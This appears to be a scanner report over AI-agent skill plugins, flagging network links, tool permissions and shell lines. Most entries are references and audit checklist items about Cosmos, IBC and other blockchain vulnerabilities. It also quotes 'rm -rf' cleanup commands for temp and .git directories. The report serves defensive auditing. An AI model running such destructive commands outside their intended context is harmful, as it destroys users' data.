- **Ethermint ante handler bypass**: https://jumpcrypto.com/bypassing-ethermint-ante-handlers/ - Network accessline 368
- **Evmos module accounts**: https://docs.evmos.org/protocol/module-accounts - Network accessline 369
- **Evmos EVM hooks**: https://docs.evmos.org/protocol/modules/evm#hooks
plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/resources/IBC_VULNERABILITY_PATTERNS.md
- Network accessline 7
**Description**: An attacker can create a malicious chain and [spoof IBC message fields](https://github.com/evmos/evmos/security/advisories/GHSA-5jgq-x857-p8xw). The counterparty chain controls the `sender`, `memo`, and other packet data fi - Network accessline 17
**References**: - [GHSA-5jgq-x857-p8xw](https://github.com/evmos/evmos/security/advisories/GHSA-5jgq-x857-p8xw) - Network accessline 18
- [GHSA-5jgq-x857-p8xw](https://github.com/evmos/evmos/security/advisories/GHSA-5jgq-x857-p8xw) - Network accessline 24
**Description**: **[ibc-go < v10 only]** [`LookupModuleByPort` and `LookupModuleByChannel`](https://github.com/cosmos/ibc-go/issues/71) were problematic APIs in the IBC capability module. They were removed in v10 along with the capability m - Network accessline 33
**References**: - [ibc-go#71](https://github.com/cosmos/ibc-go/issues/71) - Network accessline 34
- [ibc-go#71](https://github.com/cosmos/ibc-go/issues/71) - Network accessline 35
- [#7239](https://github.com/cosmos/ibc-go/pull/7239) - Network accessline 36
- [#7252](https://github.com/cosmos/ibc-go/pull/7252) - Network accessline 42
**Description**: If a user should NOT be able to close an IBC channel, the `OnChanCloseInit` callback must return an error. Failing to do so allows any user to close the channel, disrupting the IBC application. The transfer module [explicit - Network accessline 68
**Description**: When an IBC packet times out or fails, the application must correctly refund tokens. On the source chain, escrowed tokens must be unescrowed; on the sink chain, burned vouchers must be minted back. See [`refundPacketToken`] - Network accessline 83
**Description**: ORDERED channels are [closed on timeout](https://github.com/cosmos/ibc-go/blob/v8.5.2/modules/core/04-channel/keeper/timeout.go) — if a single packet times out, the entire channel is permanently closed. If message order doe - Network accessline 94
**Description**: IBC transfers always mint/burn coins via `x/bank`. If a module maintains internal accounting (e.g., total deposited, collateral tracking), IBC transfers can silently break those invariants by moving tokens without going thr - Network accessline 104
**References**: - [SDK #20517](https://github.com/cosmos/cosmos-sdk/pull/20517) - Network accessline 105
- [SDK #20517](https://github.com/cosmos/cosmos-sdk/pull/20517) - Network accessline 146
**References**: - [ISA-2025-001](https://github.com/cosmos/ibc-go/security/advisories/GHSA-4wf3-5qj9-368v) - Network accessline 147
- [ISA-2025-001](https://github.com/cosmos/ibc-go/security/advisories/GHSA-4wf3-5qj9-368v) - Network accessline 148
- [ASA-2025-004](https://github.com/cosmos/ibc-go/security/advisories/GHSA-jg6f-48ff-5xrw) - Network accessline 316
**References**: - [Osmosis rate limits](https://www.range.org/blog/ibc-rate-limits-introduction-and-state-of-the-art-1-3) - Network accessline 317
- [Osmosis rate limits](https://www.range.org/blog/ibc-rate-limits-introduction-and-state-of-the-art-1-3) - Network accessline 318
- [Cosmos Hub proposal](https://forum.cosmos.network/t/proposal-890-passed-signaling-proposal-ibc-rate-limiting/13410) - Network accessline 361
**References**: - [Architecture review](https://github.com/cosmos/ibc-go/issues/631) - Network accessline 362
- [Architecture review](https://github.com/cosmos/ibc-go/issues/631) - Network accessline 363
- [Genesis default issue](https://github.com/cosmos/ibc-go/issues/6324) - Network accessline 376
**References**: - [Issue](https://github.com/cosmos/ibc-go/issues/6714) - Network accessline 377
- [Issue](https://github.com/cosmos/ibc-go/issues/6714) - Network accessline 378
- [Fix](https://github.com/cosmos/ibc-go/pull/5415) - Network accessline 456
**References**: - [Asymmetric Research — IBC Reentrancy Infinite Mint](https://blog.asymmetric.re/cosmos-ibc-reentrancy-infinite-mint/) - Network accessline 457
- [Asymmetric Research — IBC Reentrancy Infinite Mint](https://blog.asymmetric.re/cosmos-ibc-reentrancy-infinite-mint/) - Network accessline 458
- [GHSA-j496-crgh-34mx](https://github.com/cosmos/ibc-go/security/advisories/GHSA-j496-crgh-34mx) - Network accessline 459
- [Terra IBC hooks exploit — $6.4M](https://www.theblock.co/post/308440/attacker-exploits-ibc-hooks-vulnerability-to-steal-tokens-on-terra-blockchain) - Network accessline 488
- **IBC-Go Security Advisories**: https://github.com/cosmos/ibc-go/security/advisories - Network accessline 489
- **IBC-Go Audit Reports**: https://docs.cosmos.network/ibc/v8.5.x/security-audits - Network accessline 490
- **Asymmetric Research**: "Cosmos IBC Reentrancy Infinite Mint" — https://blog.asymmetric.re/cosmos-ibc-reentrancy-infinite-mint/ - Network accessline 491
- **Jump Crypto**: "Huckleberry: IBC Event Hallucinations" — https://jumpcrypto.com/resources/huckleberry-ibc-event-hallucinations - Network accessline 492
- **Cosmos Forum**: IBC Security Advisories — https://forum.cosmos.network/c/security/ - Network accessline 493
- **Osmosis Rate Limits**: https://www.range.org/blog/ibc-rate-limits-introduction-and-state-of-the-art-1-3
plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/resources/STATE_VULNERABILITY_PATTERNS.md
- Network accessline 83
**What to Check**: - [ ] Modules with bank keeper access: [all methods are fully exposed](https://github.com/cosmos/cosmos-sdk/issues/7093) — review every usage for unauthorized mint/burn/transfer - Network accessline 84
- [ ] Modules with bank keeper access: [all methods are fully exposed](https://github.com/cosmos/cosmos-sdk/issues/7093) — review every usage for unauthorized mint/burn/transfer - Network accessline 85
- [ ] [Blocklist](https://docs.cosmos.network/master/modules/bank/02_keepers.html#blocklisting-addresses) prevents unexpected transfers to module accounts - Network accessline 86
- Addresses blocked during startup via bank keeper's argument. Default blocked addresses come from `maccPerms` via `BlockedAddresses()` - `x/gov` module address explicitly **removed** from blocklist (receives proposal deposits) — verify c - Network accessline 87
- `x/gov` module address explicitly **removed** from blocklist (receives proposal deposits) — verify custom chains make the same intentional exclusions - Blocklist explicitly checked [whenever new transfer functionality is implemented](ht - Network accessline 88
- Blocklist explicitly checked [whenever new transfer functionality is implemented](https://github.com/cosmos/cosmos-sdk/issues/8463#issuecomment-801046285) - Network accessline 89
- [ ] [`SendEnabled`](https://docs.cosmos.network/v0.45/modules/bank/05_params.html#parameters) prevents unexpected transfers of specific denominations. `DefaultSendEnabled` is true by default - Network accessline 90
- [ ] `SendRestriction` functions (`AppendSendRestriction`, `PrependSendRestriction`) reviewed if used. Order matters (Prepend vs Append). `ClearSendRestriction` removes ALL restrictions. Since v0.53.0, `SendCoins` checks restrictions BEFOR - Network accessline 91
- [ ] `SpendableCoins` used instead of `GetBalance` for accounts with [locked/vesting funds](https://github.com/umee-network/umee/issues/896) - Network accessline 92
- [ ] [Deflationary tokens](https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/62) considered in transfer accounting - Network accessline 95
**References**: [Desmos blocklist vulnerability](https://github.com/desmos-labs/desmos/compare/v0.15.3...v0.15.4) - Network accessline 298
**x/distribution**: - [ ] Historical rewards bounded — overflow can halt chain ([GHSA-p22h-3m2v-cmgh](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-p22h-3m2v-cmgh), fixed v0.53.3). Verify `incrementReferenceCount` and reward - Network accessline 299
- [ ] Historical rewards bounded — overflow can halt chain ([GHSA-p22h-3m2v-cmgh](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-p22h-3m2v-cmgh), fixed v0.53.3). Verify `incrementReferenceCount` and reward accumulation on old - Network accessline 301
**x/staking**: - [ ] Delegator slashing bypass fixed ([GHSA-86h5-xcpx-cfqc](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-86h5-xcpx-cfqc), fixed v0.50.5) — verify slashing applies to all delegations including those created b - Network accessline 302
- [ ] Delegator slashing bypass fixed ([GHSA-86h5-xcpx-cfqc](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-86h5-xcpx-cfqc), fixed v0.50.5) — verify slashing applies to all delegations including those created between infracti - Network accessline 303
- [ ] Panics replaced with error returns in v0.53.0 ([#24391](https://github.com/cosmos/cosmos-sdk/pull/24391)) — custom code catching panics via `recover()` must handle returned errors instead - Network accessline 305
**baseapp**: - [ ] If `ValidateVoteExtensions` helper is used, verify chain runs >= v0.50.5. Original had bug ([GHSA-95rx-m9m5-m94v](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-95rx-m9m5-m94v)) where `currentHeight`/`chain - Network accessline 306
- [ ] If `ValidateVoteExtensions` helper is used, verify chain runs >= v0.50.5. Original had bug ([GHSA-95rx-m9m5-m94v](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-95rx-m9m5-m94v)) where `currentHeight`/`chainID` args were - Network accessline 312
**x/epochs**: - [ ] Epoch hooks (`BeforeEpochStart`, `AfterEpochEnd`) must not panic and must handle errors gracefully. `InvokeSetHooks` had a bug fixed in v0.53.2 ([#24770](https://github.com/cosmos/cosmos-sdk/pull/24770)). `CurrentEpochSt - Network accessline 313
- [ ] Epoch hooks (`BeforeEpochStart`, `AfterEpochEnd`) must not panic and must handle errors gracefully. `InvokeSetHooks` had a bug fixed in v0.53.2 ([#24770](https://github.com/cosmos/cosmos-sdk/pull/24770)). `CurrentEpochStartHeight` sem - Network accessline 321
**Other**: - [ ] No custom storage/cache implemented — [may fail to revert after failed transactions](https://github.com/iczc/billboard/tree/main/writeup#the-cache) - Network accessline 322
- [ ] No custom storage/cache implemented — [may fail to revert after failed transactions](https://github.com/iczc/billboard/tree/main/writeup#the-cache) - Network accessline 323
- [ ] [`errorsmod.Register`](https://pkg.go.dev/cosmossdk.io/errors) (from `cosmossdk.io/errors`) used for errors, not hand-rolled mechanisms - Network accessline 324
- [ ] [All defined messages actually registered in a handler](https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/64) - Network accessline 325
- [ ] [CometBFT config/genesis.json not overwritten without validation](https://github.com/nomic-io/nomic/issues/104); [genesis.json save is atomic](https://github.com/crypto-org-chain/chain-main/issues/398) - Network accessline 334
- [ ] `SetOrderPreBlockers`: `upgrade` module must be first. `auth` must also be in PreBlockers (required for unordered tx cleanup via `RemoveExpiredUnorderedNonces`) - [ ] `SetOrderBeginBlockers` / `SetOrderEndBlockers`: `x/epochs` is in B - Network accessline 335
- [ ] `SetOrderBeginBlockers` / `SetOrderEndBlockers`: `x/epochs` is in BeginBlockers and fires epoch hooks — modules depending on epoch events must come after `epochs`. Note: `capability` module has been removed from cosmos-sdk (moved to i - Network accessline 336
- [ ] `SetOrderInitGenesis`: [`genutils` after `staking`](https://github.com/cosmos/cosmos-sdk/blob/cb6fea997cb416b6c9d3d1b47986bc464bd4bd49/simapp/app.go#L387-L388) (pool initialization); [`genutils` after `auth`](https://github.com/cosmos - Network accessline 338
- [ ] [Keepers passed to other keepers are initialized](https://github.com/osmosis-labs/osmosis/issues/665#issuecomment-995925080). Suspicious pattern: keeper initialized → uninitialized copy passed to another → first one assigned to `app.T - Network accessline 435
**References**: - building-secure-contracts/not-so-smart-contracts/cosmos/rounding_errors - [Osmosis $5M exploit](https://www.certik.com/resources/blog/1o2gR0mG6wP83aHp5jzoor-osmosis-incident-analysis) (Finding 9) - Network accessline 436
- building-secure-contracts/not-so-smart-contracts/cosmos/rounding_errors - [Osmosis $5M exploit](https://www.certik.com/resources/blog/1o2gR0mG6wP83aHp5jzoor-osmosis-incident-analysis) (Finding 9) - [Barberry / Vest in Peace](https://blog. - Network accessline 437
- [Osmosis $5M exploit](https://www.certik.com/resources/blog/1o2gR0mG6wP83aHp5jzoor-osmosis-incident-analysis) (Finding 9) - Network accessline 438
- [Barberry / Vest in Peace](https://blog.fordefi.com/vest-in-peace-freezing-cosmos-account-funds-through-invalid-vesting-periods) (Finding 19) - Network accessline 446
**What to Check**: - [ ] [`Coins`/`DecCoins` always sorted and non-negative](https://github.com/cosmos/cosmos-sdk/blob/5f840be76aea654821cf4bb1a3de94757e09c0cc/types/dec_coin.go#L228-L235) — SDK relies on this for `Add`, `IsAnyGTE`, and gen - Network accessline 447
- [ ] [`Coins`/`DecCoins` always sorted and non-negative](https://github.com/cosmos/cosmos-sdk/blob/5f840be76aea654821cf4bb1a3de94757e09c0cc/types/dec_coin.go#L228-L235) — SDK relies on this for `Add`, `IsAnyGTE`, and genesis state loading - Network accessline 448
- [ ] [Unicode in `Coins` denominations handled correctly](https://github.com/cosmos/cosmos-sdk/issues/7046). [Differences between `Coin` vs `Coins` types understood](https://github.com/cosmos/cosmos-sdk/issues/7046) - Network accessline 449
- [ ] Since v0.53, `Coins.AmountOf()` no longer validates the denom and returns zero for missing denoms (no panic). `AmountOfNoDenomValidation` is deprecated (just calls `AmountOf`). Code that relied on `AmountOf` panicking on invalid denom - Network accessline 450
- [ ] `Add`, `Sub`, `Quo` on `LegacyDec` still panic — use error-returning variants or validate inputs first. Using pointer to `LegacyDec` (`*math.LegacyDec`) is error-prone: Dec consists of a single `big.Int` pointer, so pointer-to-pointer - Network accessline 451
- [ ] `cosmossdk.io/collections` framework: deterministic key encoding (custom key codecs produce consistent bytes), `IndexedMap` secondary indexes in sync, no `Remove`/`Set` during `Walk` iteration ([fix: #24460](https://github.com/cosmos/ - Network accessline 452
- [ ] [Encoding enforced as early as possible](https://github.com/axelarnetwork/axelar-core/issues/1148) — in msg server handler or protobuf definition (`string` in protobuf enforces UTF-8). Careful with [invalid UTF-8 string length](https: - Network accessline 453
- [ ] [Invalid encoding in input does not halt chain](https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/4) - Network accessline 455
- [ ] `MsgUpdateParams` handlers validate parameter bounds — invalid params (rate > 100%, negative values, zero denominators) can be silently set via governance and cause issues in `BeginBlock`/`EndBlock` - [ ] Default values are safe: - - Network accessline 456
- [ ] Default values are safe: - [Configurable parameters are set explicitly or default values are reviewed](https://github.com/cosmos/cosmos-sdk/blob/5f840be76aea654821cf4bb1a3de94757e09c0cc/x/genutil/client/cli/migrate.go#L77-L83) - I - Network accessline 457
- [Configurable parameters are set explicitly or default values are reviewed](https://github.com/cosmos/cosmos-sdk/blob/5f840be76aea654821cf4bb1a3de94757e09c0cc/x/genutil/client/cli/migrate.go#L77-L83) - Network accessline 458
- Initial (genesis) system parameters are validated. Safety checks exist for parameters that get updated from "null" only after the first block ([Umee issue](https://github.com/umee-network/umee/commit/5372343a4f187864cc37f0c0d798dc7df3de16 - Network accessline 459
- [`getter` methods do not return valid values on errors — they should panic or return nil](https://github.com/umee-network/umee/issues/861) - Network accessline 460
- [ ] Amino (`LegacyAmino`) only for backward compatibility (legacy JSON signing, CLI proposals). New modules use protobuf exclusively - [ ] If Ethereum addresses used, NOT using `HexToAddress` ([does not verify format, ignores errors](http - Network accessline 461
- [ ] If Ethereum addresses used, NOT using `HexToAddress` ([does not verify format, ignores errors](https://pkg.go.dev/github.com/ethereum/go-ethereum/common#HexToAddress)) - Network accessline 462
- [ ] [`AnteHandler`s enforce non-zero fee](https://docs.cosmos.network/master/basics/gas-fees.html#introduction-to-gas-and-fees) to prevent spam. See [Cosmos discussion](https://github.com/cosmos/cosmos-sdk/discussions/8224) - Network accessline 463
- [ ] Parsing of empty `Coin(s)` considers any amount of extra whitespace — [relevant source](https://github.com/cosmos/cosmos-sdk/blob/v0.33.2/types/coin.go#L527-L534). For example, checking `msg.Funds == "" || msg.Funds == "0"` is incompl - Network accessline 491
**What to Check**: - [ ] Enough event logs to debug on-chain transactions - [ ] Events NOT generated for failed transactions — [Huckleberry: IBC Event Hallucinations](https://jumpcrypto.com/writing/huckleberry-ibc-event-hallucinations/) - Network accessline 492
- [ ] Enough event logs to debug on-chain transactions - [ ] Events NOT generated for failed transactions — [Huckleberry: IBC Event Hallucinations](https://jumpcrypto.com/writing/huckleberry-ibc-event-hallucinations/) - [ ] `CacheContext` u - Network accessline 493
- [ ] Events NOT generated for failed transactions — [Huckleberry: IBC Event Hallucinations](https://jumpcrypto.com/writing/huckleberry-ibc-event-hallucinations/) - Network accessline 499
**References**: - [Jump Crypto — Huckleberry: IBC Event Hallucinations](https://jumpcrypto.com/writing/huckleberry-ibc-event-hallucinations/) (Finding 4) - Network accessline 500
- [Jump Crypto — Huckleberry: IBC Event Hallucinations](https://jumpcrypto.com/writing/huckleberry-ibc-event-hallucinations/) (Finding 4) - Network accessline 508
- **`x/crisis`** (Invariant type) — deprecated, will be removed. Use simulations (`simsx` framework in v0.53+) and property-based tests instead - **`x/nft`** — deprecated ([#24575](https://github.com/cosmos/cosmos-sdk/pull/24575)), moving t - Network accessline 509
- **`x/nft`** — deprecated ([#24575](https://github.com/cosmos/cosmos-sdk/pull/24575)), moving to [cosmos-legacy](https://github.com/cosmos/cosmos-legacy) - Network accessline 510
- **`x/group`** — deprecated ([#24571](https://github.com/cosmos/cosmos-sdk/pull/24571)), moving to cosmos-legacy. EndBlocker had chain-halt bugs ([GHSA-47ww-ff84-4jrg](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-47ww-ff84 - Network accessline 511
- **`x/params`** — deprecated, modules use direct keeper param storage via `collections` - **`ValidateBasic()`** — deprecated and facultative (via `HasValidateBasic` interface). Validation belongs in msg server handlers - **ed25519 tx signi - Network accessline 513
- **ed25519 tx signing** — added in v0.53.0 ([#24030](https://github.com/cosmos/cosmos-sdk/pull/24030)). Chains should explicitly decide which key types to permit. Unlike secp256k1, ed25519 is not compatible with Ledger hardware wallets wit
plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md
- Network accessline 109
**What to Check**: - [ ] [`sort.Sort` is not stable](https://github.com/golang/go/issues/13884) — `sort.Stable` must be used when elements with equal keys must maintain insertion order. Same-order but different items may be sorted different - Network accessline 110
- [ ] [`sort.Sort` is not stable](https://github.com/golang/go/issues/13884) — `sort.Stable` must be used when elements with equal keys must maintain insertion order. Same-order but different items may be sorted differently between Go versi - Network accessline 111
- [ ] Memory addresses — [even in non-committed storage, can cause indirect consensus failures](https://github.com/cosmos/cosmos-sdk/issues/11726#issuecomment-1108427164): - Network accessline 112
- [Conversions to strings do not output addresses](https://gitlab.com/thorchain/thornode/-/merge_requests/2640) (structs not used directly in `fmt.Printf`) - Network accessline 113
- [`%p` format string not used](https://facundo.dev/posts/2022/04/23/debug-stories-1-darwin-arm64-cosmos-sdk-builds-are-not-compatible-with-other-archs/) - Network accessline 114
- [Pointers not compared](https://github.com/OffchainLabs/nitro/blob/affaf25ceb9ff53ed27e1072221a659ed63ca61d/linter/pointercheck/pointer.go) - Network accessline 115
- [ ] `filepath.Ext` is platform-dependent - [ ] Struct padding [(unavoidable with cgo)](https://github.com/golang/go/wiki/cgo#struct-alignment-issues) - [ ] [Platform-dependent build tags](https://pkg.go.dev/go/build#hdr-Build_Constraints) - Network accessline 116
- [ ] Struct padding [(unavoidable with cgo)](https://github.com/golang/go/wiki/cgo#struct-alignment-issues) - Network accessline 117
- [ ] [Platform-dependent build tags](https://pkg.go.dev/go/build#hdr-Build_Constraints) (`//go:build`, `// +build`) - Network accessline 118
- [ ] [`math/big.Random` non-deterministic even with const seed](https://github.com/golang/go/issues/42701) - Network accessline 119
- [ ] [Adding elements to map while iterating](https://go.dev/ref/spec#For_range) - Network accessline 120
- [ ] No leaks from GC or nondeterministic runtime internals ([Agoric example](https://github.com/Agoric/agoric-sdk/issues/5000)) - Network accessline 121
- [ ] Parallel/concurrent tx execution (BlockSTM-style): modules must not have shared mutable state outside KV store - [ ] Concurrency: goroutines, [`select` non-determinism](https://medium.com/@pedram.esmaeeli/a-pattern-for-overcoming-non- - Network accessline 122
- [ ] Concurrency: goroutines, [`select` non-determinism](https://medium.com/@pedram.esmaeeli/a-pattern-for-overcoming-non-determinism-of-golang-select-statement-139dbe93db98), [synchronization with sleep](https://github.com/ligurio/semgrep - Network accessline 123
- [ ] Floating point: read [here](https://gafferongames.com/post/floating_point_determinism/), [here](https://randomascii.wordpress.com/2013/07/16/floating-point-determinism/), [here](https://github.com/golang/go/issues/36536) - Network accessline 594
- [ ] `SetUpContext` is the first decorator in `ChainAnteDecorators` - [ ] `SetPubKeyDecorator` before all signature verification decorators (`ValidateSigCountDecorator`, `SigVerificationDecorator`) - [ ] Manual message routing is NOT perfo - Network accessline 595
- [ ] `SetPubKeyDecorator` before all signature verification decorators (`ValidateSigCountDecorator`, `SigVerificationDecorator`) - [ ] Manual message routing is NOT performed — it [bypasses AnteHandlers](https://github.com/axelarnetwork/ax - Network accessline 596
- [ ] Manual message routing is NOT performed — it [bypasses AnteHandlers](https://github.com/axelarnetwork/axelar-core/issues/1145) - Network accessline 597
- [ ] Custom AnteHandlers handle [nested/embedded messages](https://jumpcrypto.com/bypassing-ethermint-ante-handlers/) inside `x/authz MsgExec` or `x/group` proposal execution. SDK enforces `MaxUnpackAnyRecursionDepth = 10` ([GHSA-8wcc-m6j2 - Network accessline 598
- [ ] `x/authz` grant creation reviewed for [privilege escalation (GHSA-4j93-fm92-rp4m)](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-4j93-fm92-rp4m) — verify grants cannot circumvent blocked address restrictions; also chec - Network accessline 647
**References**: [Jump Crypto — Bypassing Ethermint Ante Handlers](https://jumpcrypto.com/bypassing-ethermint-ante-handlers/)
plugins/building-secure-contracts/skills/guidelines-advisor/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/building-secure-contracts/skills/secure-workflow-guide/SKILL.md
plugins/building-secure-contracts/skills/secure-workflow-guide/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/building-secure-contracts/skills/solana-vulnerability-scanner/SKILL.md
- Network accessline 372
- **Building Secure Contracts**: `building-secure-contracts/not-so-smart-contracts/solana/` - **Trail of Bits Solana Lints**: https://github.com/trailofbits/solana-lints - Network accessline 373
- **Trail of Bits Solana Lints**: https://github.com/trailofbits/solana-lints - Network accessline 374
- **Anchor Documentation**: https://www.anchor-lang.com/ - Network accessline 375
- **Solana Program Library**: https://github.com/solana-labs/solana-program-library - Network accessline 376
- **Solana Cookbook**: https://solanacookbook.com/
plugins/building-secure-contracts/skills/solana-vulnerability-scanner/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/building-secure-contracts/skills/substrate-vulnerability-scanner/SKILL.md
- Network accessline 276
- **Building Secure Contracts**: `building-secure-contracts/not-so-smart-contracts/substrate/` - **Substrate Documentation**: https://docs.substrate.io/ - Network accessline 277
- **Substrate Documentation**: https://docs.substrate.io/ - Network accessline 278
- **FRAME Documentation**: https://paritytech.github.io/substrate/master/frame_support/ - Network accessline 279
- **test-fuzz**: https://github.com/trailofbits/test-fuzz - Network accessline 280
- **Substrate StackExchange**: https://substrate.stackexchange.com/ - Dangerous shell operationline 309
- [ ] Sudo pallet removed before production
plugins/building-secure-contracts/skills/substrate-vulnerability-scanner/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/building-secure-contracts/skills/substrate-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md
plugins/building-secure-contracts/skills/token-integration-analyzer/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/building-secure-contracts/skills/ton-vulnerability-scanner/SKILL.md
- Network accessline 379
- **Building Secure Contracts**: `building-secure-contracts/not-so-smart-contracts/ton/` - **TON Documentation**: https://docs.ton.org/ - Network accessline 380
- **TON Documentation**: https://docs.ton.org/ - Network accessline 381
- **FunC Documentation**: https://docs.ton.org/develop/func/overview - Network accessline 382
- **TON Blueprint**: https://github.com/ton-org/blueprint - Network accessline 383
- **Jetton Standard**: https://github.com/ton-blockchain/TEPs/blob/master/text/0074-jettons-standard.md
plugins/building-secure-contracts/skills/ton-vulnerability-scanner/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/burpsuite-project-parser/.claude-plugin/plugin.json
plugins/burpsuite-project-parser/skills/burpsuite-project-parser/SKILL.md
- Broad permissionsline 1
Bash Read - Network accessline 22
**Required:** 1. **Burp Suite Professional** - Must be installed ([portswigger.net](https://portswigger.net/burp/pro)) - Network accessline 23
1. **Burp Suite Professional** - Must be installed ([portswigger.net](https://portswigger.net/burp/pro)) - Network accessline 26
**Install the extension:** 1. Download from [github.com/BuffaloWill/burpsuite-project-file-parser](https://github.com/BuffaloWill/burpsuite-project-file-parser) - Network accessline 27
1. Download from [github.com/BuffaloWill/burpsuite-project-file-parser](https://github.com/BuffaloWill/burpsuite-project-file-parser)
plugins/burpsuite-project-parser/skills/burpsuite-project-parser/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/burpsuite-project-parser/skills/burpsuite-project-parser/scripts/burp-search.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 210
echo "This is what a missing burpsuite-project-file-parser extension looks like: Burp starts" >&2 echo "normally and drops flags it does not recognise." >&2 echo "Install it from https://github.com/BuffaloWill/burpsuite-project-file - Network accessline 211
echo "normally and drops flags it does not recognise." >&2 echo "Install it from https://github.com/BuffaloWill/burpsuite-project-file-parser and add the" >&2 echo "JAR under Burp Suite -> Extensions." >&2 - Network accessline 212
echo "Install it from https://github.com/BuffaloWill/burpsuite-project-file-parser and add the" >&2
plugins/c-review/scripts/assemble_findings.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/c-review/skills/c-review/SKILL.md
- Broad permissionsline 1
Workflow AskUserQuestion Bash Read
plugins/c-review/workflows/c-review.js
- Executable scriptline 1
Executable file
plugins/chrome-mcp-troubleshooting/skills/chrome-mcp-troubleshooting/SKILL.md
- Dangerous shell operationline 145
rm -rf /tmp/claude-mcp-browser-bridge-$USER/ - Dangerous shell operationline 146
rm -f "$(getconf DARWIN_USER_TEMP_DIR)/claude-mcp-browser-bridge-$USER" - Network accessline 251
*Original skill by [@jeffzwang](https://github.com/jeffzwang) from [@ExaAILabs](https://github.com/ExaAILabs). Enhanced and updated for current versions of Claude Desktop and Claude Code.*
plugins/chrome-mcp-troubleshooting/skills/chrome-mcp-troubleshooting/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/code-improver/.claude-plugin/plugin.json
plugins/code-improver/skills/code-improver/SKILL.md
- Broad permissionsline 1
Bash Glob Read TaskOutput TaskStop Workflow
plugins/code-improver/skills/pr-improver/SKILL.md
- Broad permissionsline 1
Bash Glob Read TaskOutput TaskStop Workflow
plugins/code-improver/skills/skill-improver/SKILL.md
- Broad permissionsline 1
Bash Glob Read TaskOutput TaskStop Workflow
plugins/code-improver/tests/fixtures/pr-review-toolkit/skills/review-pr/SKILL.md
- Broad permissionsline 1
Read Grep Glob Bash
plugins/code-improver/workflows/improve.js
- Executable scriptline 1
Executable file - Executable scriptline 1
Executable file - Executable scriptline 1
Executable file - Dangerous shell operationline 594
notes.push(`A git repository was INITIALIZED at ${GIT_ROOT} to give the loop a baseline. Tell the user; remove with \`rm -rf ${GIT_ROOT}/.git\` if unwanted.`) - Dangerous shell operationline 594
notes.push(`A git repository was INITIALIZED at ${GIT_ROOT} to give the loop a baseline. Tell the user; remove with \`rm -rf ${GIT_ROOT}/.git\` if unwanted.`) - Dangerous shell operationline 594
notes.push(`A git repository was INITIALIZED at ${GIT_ROOT} to give the loop a baseline. Tell the user; remove with \`rm -rf ${GIT_ROOT}/.git\` if unwanted.`)
plugins/constant-time-analysis/.claude-plugin/plugin.json
plugins/constant-time-analysis/skills/constant-time-analysis/SKILL.md
- Broad permissionsline 1
Bash Read Grep Glob - Network accessline 183
- [Cryptocoding Guidelines](https://github.com/veorq/cryptocoding) — defensive coding for crypto - Network accessline 184
- [KyberSlash](https://kyberslash.cr.yp.to/) — division timing in post-quantum crypto - Network accessline 185
- [BearSSL Constant-Time](https://www.bearssl.org/constanttime.html) — practical constant-time techniques
plugins/constant-time-analysis/skills/constant-time-analysis/assets/trail-of-bits-mark.svg
- Network accessline 1
